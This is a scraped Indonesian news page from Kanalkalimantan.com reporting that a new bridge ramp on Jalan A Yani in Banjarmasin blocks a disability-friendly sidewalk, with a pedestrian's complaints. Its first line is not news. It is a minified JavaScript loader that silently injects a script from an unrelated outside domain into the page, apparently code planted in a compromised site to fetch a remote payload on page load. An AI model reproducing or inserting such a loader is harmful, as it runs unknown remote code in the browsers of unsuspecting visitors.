(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Oprit jembatan depan komplek Bakula yang ada di Jalan A Yani KM 5,5 Kota Banjarmasin tepatnya samping sekretarit DPD PDIP Kalsel, memakan trotoar bagi pejalan kaki.
Kontruksi jembatan melengkung yang menyeberangi sungai kecil di Jalan A Yani tersebut memakan sebagian besar trotoar jalan yang biasa dilalui pejalan kaki. Bahkan, oprit jembatan berbentuk gundukan itu, memotong hingga menutupi trotoar yang sebelumnya normal tersambung.
Pantauan Kanalkalimantan.com, Senin (3/4/2023), turunan oprit jembatan mempunyai panjang lebih dari 3 meter, dengan ketinggian oprit sekitar 1 meter menutupi habis trotoar ramah disabilitas tersebut.
Bahkan aspal oprit jembatan yang kelihatan masih baru tersebut terlihat juga melewati trotoar dan menjorok ke badan Jalan A Yani.
Baca juga: Izin Usaha Habis, Dua Hotel Berbintang Ditutup Pemko Banjarbaru
Nano, salah seorang pejalan kaki mengatakan, sangat terganggu dengan kontruksi jembatan yang tidak mempertimbangkan kenyamanan pejalan kaki.
“Sangat terganggu, itu ketinggian sampai menutupi trotoar,” ujarnya ditemui tidak jauh dari lokasi jembatan.
Menurutnya, kontruksi jembatan Komplek Bakula tersebut dibangun pada tahun 2022 lalu, sebagaimana yang tertulis diprasasti jembatan, jauh setelah trotoar ramah disabilitas itu dibangun.
Sedangkan untuk pengaspalan jembatan dikatakannya belum lama dikerjakan. Itu terlihat dari material aspal yang kelihatan masih baru.
Ia yang biasa berjalan kaki di sekitar Jalan A Yani mengaku harus turun ke jalan umum ketika melewati trotoar di depan Komplek Bakula tersebut.
Baca juga: Alokasi Kursi dan Dapil Pileg Kalsel 2024 Tak Berubah, Ini Jumlah Lengkapnya
“Saya saja susah, apalagi kalau nenek-nenek bisa jatuh jalan lewat trotoar situ, kan jadinya harus menghindari oprit turunan itu, malah masuk ke jalan jadinya, bukan lagi di trotoarnya kita berjalan,” katanya.
Pemuda yang biasa berjalan kaki di trotoar ini berharap pihak terkait melakukan evaluasi terhadap kontruksi jembatan, serta mempertimbangkan kenyamanan pejalan kaki.
“Kita ini kan masyarakat biasa apa boleh buat, tapi kalau bisa dirandahi (direndahkan) lagi itu,” tutupnya.
Pantauan Kanalkakimantan.com tidak jauh dari lokasi jembatan Bakula juga terdapat beberapa jembatan yang memakan trotoar jalan.
Seperti jembatan di Gang TVRI, Gang Marina, dan jembatan menuju Gang Andi Rama di jalan A Yani Km 5,5 Banjarmasin juga menutupi trotoar jalan, meskipun tidak setinggi jembatan Komplek Bakula. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
This website uses cookies.